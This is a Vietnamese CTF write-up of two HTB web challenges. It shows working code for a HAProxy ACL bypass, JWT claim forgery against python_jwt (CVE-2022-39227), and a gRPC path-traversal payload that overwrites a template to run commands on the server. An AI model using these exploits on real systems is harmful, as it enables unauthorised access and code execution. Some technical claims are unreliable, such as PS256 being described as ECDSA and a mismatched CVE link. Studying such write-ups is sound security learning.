## Local Talk ### Preface Đây là challenge từ giải `Cyber Apocalypse 2024: Hacker Royale - After Party`. Một challenge rất thú vị khi nó tồn tại hai lỗ hổng đáng chú ý [CVE-2023-45539](https://nvd.nist.gov/vuln/detail/CVE-2023-45539) và [CVE-2022-39227](https://nvd.nist.gov/vuln/detail/CVE-2023-45539). Bằng cách bypass `HAproxy ACL` dẫn đến việc truy cập vào được endpoint chứa đoạn `jwt` sử dụng `python_jwt` module version 3.3.3, ta có thể sử dụng hai lỗ hổng trên để thay đổi role của user từ đó giúp ta lấy được flag ### Recon Challenge cung cấp cho chúng ta 3 api bảo gồm `/api/v1/get_ticket`, `/api/v1/chat/{chatId}` và `/api/v1/flag` ![image](https://hackmd.io/_uploads/H1s1leGAa.png) 1. `/api/v1/get_ticket` ``` @api_blueprint.route('/get_ticket', methods=['GET']) def get_ticket(): claims = { "role": "guest", "user": "guest_user" } token = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60)) return jsonify({'ticket: ': token}) ``` Có vẻ tại endpoint này ta có thể tạo một đoạn token sử dụng PS256 - là một thuật toán chữ ký điện tử dựa trên chuỗi (Elliptic Curve Digital Signature Algorithm - ECDSA) được sử dụng trong JSON Web Signature (JWS). Tại đây ta có thể chú ý `role` của `user` được xét mặc định là `guest`. 2 . `/api/v1/get_ticket` ``` @api_blueprint.route('/flag', methods=['GET']) @authorize_roles(['administrator']) def flag(): return jsonify({'message': current_app.config.get('FLAG')}), 200 ``` Để lấy được flag có vẻ ta phải set lại sao cho `role` được đặt là `administrator` Như vậy mục tiêu bây giờ ta cần thay đổi `role` của `user` trong token là `administrator`. Tuy nhiên vấn đề xảy ra ở đây là khi ta truy cập vào endpoint `/api/v1/get_ticket` nói trên nó lại trả về cho chúng ta `status_code` 403 ![image](https://hackmd.io/_uploads/By4CZxfRT.png) ``` frontend haproxy bind 0.0.0.0:1337 default_backend backend http-request deny if { path_beg,url_dec -i /api/v1/get_ticket } ``` Tiếp tục đi sâu vào challenge thì mình tìm được một đoạn HAproxy đã được config như trên **Access Control List (ACL) trong HAProxy: ACL là một cách để xác định các điều kiện để áp dụng các hành động cụ thể trên các yêu cầu hoặc kết nối. Chúng cho phép bạn thực hiện các quy tắc phân tách dựa trên các tiêu chí như địa chỉ IP, đường dẫn URL, header HTTP, và nhiều điều kiện khác để quyết định cách xử lý yêu cầu** Ở đoạn config nêu trên ta có thể dễ dang thấy HAProxy cấu hình lắng nghe cổng 1337, chuyển hướng yêu cầu không khớp đến backend `backend`. ACL kiểm tra đường dẫn yêu cầu, từ chối yêu cầu bắt đầu bằng `/api/v1/get_ticket`. Wait, I can bypass this? ![BXUj](https://hackmd.io/_uploads/Hy48UxM0T.gif) #### Get access ticket by bypassing HAProxy ACL with # fragment ###### [CVE-2023-45539](https://github.com/advisories/GHSA-79q7-m98p-qvhp) Sau khi thực hiện googling mình phát hiện ta có thể sử dụng dấu `#` để có thể bypass qua việc config `http-request deny`. Cụ thể : HAProxy trước phiên bản 2.8.2 chấp nhận ký tự "#" trong phần URI, điều này có thể cho phép các kẻ tấn công từ xa thu thập thông tin nhạy cảm hoặc có tác động không xác định khác khi phân tích sai quy tắc `path_end`, ví dụ như định tuyến index.html#.png đến một máy chủ tĩnh ![image](https://hackmd.io/_uploads/SkH89xzCT.png) #### Forging a new JWT Token with tampered claims in order to bypass role restrictions Sau khi có thể tạo ra được token, công việc của chúng ta đến chỉ cần thay đoạn token sao cho role của user thành `administrator` Sau khi biết được nó sử dụng `pyjwt 3.3.3` mình ngay lập tức google vài đường thì được biết tại phiên bản này nó tồn tại một lỗ hổng `CVE-2022-39227`. Hãy đề cập một chút về lỗ hổng này ``` #test/vulnerability_vows.py """ Test claim forgery vulnerability fix """ from datetime import timedelta from json import loads, dumps from test.common import generated_keys from test import python_jwt as jwt from pyvows import Vows, expect from jwcrypto.common import base64url_decode, base64url_encode ​ @Vows.batch class ForgedClaims(Vows.Context): """ Check we get an error when payload is forged using mix of compact and JSON formats """ def topic(self): """ Generate token """ payload = {'sub': 'alice'} return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)) class PolyglotToken(Vows.Context): """ Make a forged token """ def topic(self, topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) parsed_payload['sub'] = 'bob' parsed_payload['exp'] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' +signature + '"}' class Verify(Vows.Context): """ Check the forged token fails to verify """ @Vows.capture_error def topic(self, topic): """ Verify the forged token """ return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256']) def token_should_not_verify(self, r): """ Check the token doesn't verify due to mixed format being detected """ expect(r).to_be_an_error() expect(str(r)).to_equal('invalid JWT format') ``` Ta có thể thấy rằng JWT ban đầu được chia thành `[header, payload, signature]` ba phần, sau đó payload, đó là phần chứa thông tin ban đầu, được lấy ra, và sau đó thêm vào Sau khi đánh giả nội dung, mã hóa lại với base64 (separators=(',', ':') phần này tương đương với việc loại bỏ các khoảng trắng sẽ được thêm khi mã hóa trực tiếp) để tạo ra payload giả mạo, và cuối cùng xây dựng và tạo ra một JWT mới theo dạng sau đây (trong thực tế, không thể nói là một JWT nữa, bởi vì chuỗi được tạo ra không còn gì của JWT nữa) ```{" header . fake_payload .":"","protected":" header ", "payload":" payload ","signature":" signature "}``` Chúng ta hãy đi sâu vào chi tiết hơn, mình có tạo một đoạn code demo ở đây ``` #testFakeJWT.py from json import * from python_jwt import * from jwcrypto import jwk payload={'username':"jlan","secret":"10010"} key=jwk.JWK.generate(kty='RSA', size=2048) jwtjson=generate_jwt(payload, key, 'PS256', timedelta(minutes=60)) [header, payload, signature] = jwtjson.split('.') parsed_payload = loads(base64url_decode(payload)) print(parsed_payload) parsed_payload['username']="admin" parsed_payload['secret']="10086" fakepayload=base64url_encode((dumps(parsed_payload, separators=(',', ':')))) fakejwt='{"' + header + '.' + fakepayload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' print(verify_jwt(fakejwt, key, ['PS256'])) #{'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10010', 'username': 'jlan'} #({'alg': 'PS256', 'typ': 'JWT'}, {'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10086', 'username': 'root'}) ``` => Phân tích ![image](https://hackmd.io/_uploads/r1v94-GRa.png) Có thể thấy rằng JWT được chia thành các phần header, claims, signature dựa trên dấu chấm (.) và được lưu vào các biến tương ứng, sau đó phần header được giải mã base64. Việc giải mã ở đây sẽ bỏ qua các ký tự không phải base64, và các thuộc tính sẽ được kiểm tra một cách tuần tự (khi tham số `ignore_not_implemented` không được cung cấp hoặc False). Nhìn xuống phần `if pub_key`:, nếu chúng ta truyền vào khóa, chữ ký JWT sẽ được phân tích. Hãy tiếp tục theo dõi `token.deserialize(jwt, pub_key)` để xem quá trình xác minh. ![image](https://hackmd.io/_uploads/BkJTUbz0T.png) Có thể thấy rằng JWT ban đầu được nhận vào đầu tiên được thử để được phân tích dưới dạng json, sau đó chữ ký được xác minh. Hàm `_deserialize_signature` sẽ phân tích và lấy ra chữ ký. Hàm `_deserialize_b64` liệu rằng nội dung xác minh cần được giải mã base64 không? Tóm lại, nội dung ở phần trước của hàm này là giải mã dữ liệu trong định dạng json và gán các thuộc tính tương ứng được yêu cầu bởi JWT cho đối tượng `o`. Trong json mà chúng ta xây dựng, tất cả các thuộc tính của `o` đều từ JWT bình thường ban đầu. Sau khi hoàn thành việc phân tích, `self.objects` sẽ được gán một giá trị của o, và cuối cùng là vào hàm `verify`. ![image](https://hackmd.io/_uploads/HkTJ7_GA6.png) Bạn có thể thấy ở đây nó thực sự kiểm tra từng phần của JWT. Điều mà nó kiểm tra ở đây là JWT ban đầu hoàn chỉnh, vì vậy chắc chắn không có vấn đề gì với điều này, và việc xác minh này chắc chắn có thể thông qua Chúng ta hãy quay trở lại với `__init__.py` ![image](https://hackmd.io/_uploads/HJ3gVdz0a.png) Ta có thể thấy rằng sau khi xác minh, không có sử dụng lại `token`. Sau đó, một số tham số trong `header` và `claims` được kiểm tra, và `parsed_header` và `parsed_claims` được trả về. Như vậy, sau khi xác minh toàn bộ JWT, dữ liệu đã được xác minh không được trả về, mà thay vào đó là dữ liệu sau các dấu chấm ban đầu được trả về. Lúc này đoạn exploit của chúng ta có dạng ```{" header . fake_payload .":"","protected":" header ", "payload":" payload ","signature":" signature "}``` Như đã thấy ở trên, json mà chúng ta truyền vào đầu tiên được chia thành các phần dấu chấm trong định dạng chuỗi. Phần thứ hai là phần payload giả mạo của chúng ta. Chúng ta chỉ cần lấy ra payload ban đầu và sửa đổi nó. ### Exploit ``` from datetime import timedelta from json import loads, dumps import python_jwt as jwt from pyvows import Vows, expect from jwcrypto.common import base64url_decode, base64url_encode from pprint import pprint class ForgedClaims: def create(self): """ Generate token """ # payload = {'sub': 'alice'} token = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAxNDc1MTksImlhdCI6MTcxMDE0MzkxOSwianRpIjoiYmQtcW5GYnBqcUhpbEFSeXN5aGwyUSIsIm5iZiI6MTcxMDE0MzkxOSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.s569WtLjeq3NQSI9GXVDfTYJSUrxdEGtCBnxjHnwEa6UWwS6RNfLF-qMjvAc-GiqHzG1Wx1SQd1tsqIqnIF6zz9zXFQaSimFgnYE0HvUwaI_XhzBJA-ZxmrgetgJjbOhKBOopKIXmtUt-LPE2tsB3yr6SJe-C2RvFlTzrgQMDrOtRBJJiXfYne1QI4nnXUFY0XsNXCpKQIe6ELHNmeE-F6Fj5s1AJwUEBwWJNVnmw_s5mVbL1hvIE54e2mJg5VK8PfCLXx4u-ghVRgGDRkUza4UpgM8nrSmTj5d40iREyz9M6PDvi0TFhuVvlQStrpz0UId-uyL4-Vwp9UnTOSNBRA" return token def topic(self, topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) print(parsed_payload) parsed_payload['role'] = 'administrator' parsed_payload['user'] = 'admin_user' print(parsed_payload) # parsed_payload['exp'] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' claime__ = ForgedClaims() jwt = claime__.create() print(claime__.topic(jwt)) ```` => Result ![image](https://hackmd.io/_uploads/BkPzY_G0a.png) Flag is `HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}` ## Testimonial ### Preface Ta tiếp tục đến với challenge thứ hai, cũng là một challenge rất hay khi cách giải của nó lại không khó như ban đầu mình nghĩ bằng cách thay vì connect tới server chính, ta lại giải quyết bằng cách sử dụng `grpc` để tương tác và thực hiện ghi đè file nhằm trigger RCE ### Recon ![image](https://hackmd.io/_uploads/HJdsCOfCT.png) Đi vào trang web của challenge thì ở đây có vẻ nó cho phép ta ghi nội dung và tên file sau đó được lưu trên server tại `public/testimonials` ![image](https://hackmd.io/_uploads/Bkm8JYzRa.png) ![image](https://hackmd.io/_uploads/Hkqzxtz0T.png) Tuy nhiên tên file đã bị filter, điều này có vẻ khiến chúng ta không thể trigger được path traversal nhằm ghi đè file khác lên server nhằm mục đích RCE Yeah một câu hỏi là `How?` lại bắt đầu ![IZEl](https://hackmd.io/_uploads/SkAN-FMRa.gif) ![image](https://hackmd.io/_uploads/Sk5uWYGAT.png) Hãy chú ý đến việc đoạn code có sử dụng `gRPC` ###### Đôi nét về gRPC gRPC là một framework mã nguồn mở được Google phát triển, được sử dụng để tạo ra các dịch vụ RPC (Remote Procedure Call) hiệu suất cao, có khả năng đa ngôn ngữ và có khả năng mở rộng. gRPC sử dụng Protocol Buffers (protobuf) làm công cụ mô tả giao diện dịch vụ và định dạng dữ liệu. Nó cho phép tạo ra các dịch vụ và clients ở nhiều ngôn ngữ khác nhau, với khả năng tạo mã tự động từ mô tả giao diện. Các dịch vụ gRPC có thể sử dụng HTTP/2 để tận dụng các tính năng như multiplexing, độ trễ thấp, và giao thức mã hóa. Như đã nói ở trên việc filter chỉ diễn ra trên đoạn xử lý với client, tuy nhiên server lại cung cấp cho ta hai server và một trong số đó là gRPC vậy điều gì xảy ra khi chúng ta sử dụng server thứ hai này để ghi đè file inject SSTI để RCE. Lúc này việc lọc tên file hay `..` cũng sẽ không xảy ra vì lúc này ta chỉ tương tác với gRPC #### gRPC command line tool Sau khi googling mình tìm được [repo](https://github.com/fullstorydev/grpcurl) này khá thú vị Sử dụng nó chúng ta có thể liệt kê các services bằng cách specifying the proto file ``` ./grpcurl -import-path ../challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 list RickyService ``` Tiếp tục , describe the service ``` ./grpcurl -import-path ../challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 describe RickyService RickyService is a service: service RickyService { rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply ); } ``` Tuy nhiên, sau khi mình thử invoke RPC thì `server does not support the reflection API` ``` ./grpcurl -plaintext 94.237.53.3:49854 RickyService.TestimonialSubmission Error invoking method "RickyService.TestimonialSubmission": failed to query for service descriptor "RickyService": server does not support the reflection API ``` Tiếp tục tìm kiếm thì mình đọc được docs như sau: ``` To use grpcurl on servers that do not support reflection, you can use .proto source files. In addition to using -proto flags to point grpcurl at the relevant proto source file(s), you may also need to supply -import-path flags to tell grpcurl the folders from which dependencies can be imported.``` ``` ``` ./grpcurl -plaintext -d '{"customer": "test", "testimonial": "test"}' -import-path challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 RickyService.SubmitTestimonial { "message": "Testimonial submitted successfully" } ``` Yeah chúng ta đã thành công ghi được file lên gRPC thông qua grpcurl Như mình đã nói ở trên việc sử dụng gRPC để ghi file thì có thể chúng ta sẽ không bị filter lọc, lúc này việc path traversal để ghi đè file lại trở nên dễ dàng. Mình dựng lại challenge ở local và test xem liệu suy đoán của mình có đúng không ``` ./grpcurl -plaintext -d '{"customer": "../../../../haha.txt", "testimonial": "no for test"}' -import-path challenge/pb/ -proto ptypes.proto 127.0.0.1:50045 RickyService.SubmitTestimonial { "message": "Testimonial submitted successfully" } ``` ``` $ docker exec -it web_testimonial bash ~ # ls / bin flaga8f171e25e.txt mnt sbin usr challenge go opt srv var dev home proc sys entrypoint.sh lib root haha.txt etc media run tmp ``` Ghi file thành công, vậy điều gì nếu ta có thể ghi đè lại file `index.templ` do ta đã cấu hình lại với đoạn code nhằm trigger rce như sau: ``` package home import ( "os/exec" "strings" ) func hack() []string { output, _ := exec.Command("ls", "/").CombinedOutput() lines := strings.Fields(string(output)) return lines } templ Index() { @template(hack()) } templ template(items []string) { for _, item := range items { {item} } } ``` ### Exploit ``` ./grpcurl -plaintext -d '{"customer": "../../view/home/index.templ", "testimonial": "package home\n\nimport (\n\t\"os/exec\"\n\t\"strings\"\n)\n\nfunc hack() []string {\n\toutput, _ := exec.Command(\"cat\", \"/flagbba4cb647c.txt\").CombinedOutput()\n\tlines := strings.Fields(string(output))\n\treturn lines\n}\n\ntempl Index() {\n\t@template(hack())\n}\n\ntempl template(items []string) {\n\tfor _, item := range items {\n\t\t{item}\n\t}\n}" }' -import-path challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 RickyService.SubmitTestimonial { "message": "Testimonial submitted successfully" } ``` And we have the flag ![image](https://hackmd.io/_uploads/BybQCFfC6.png)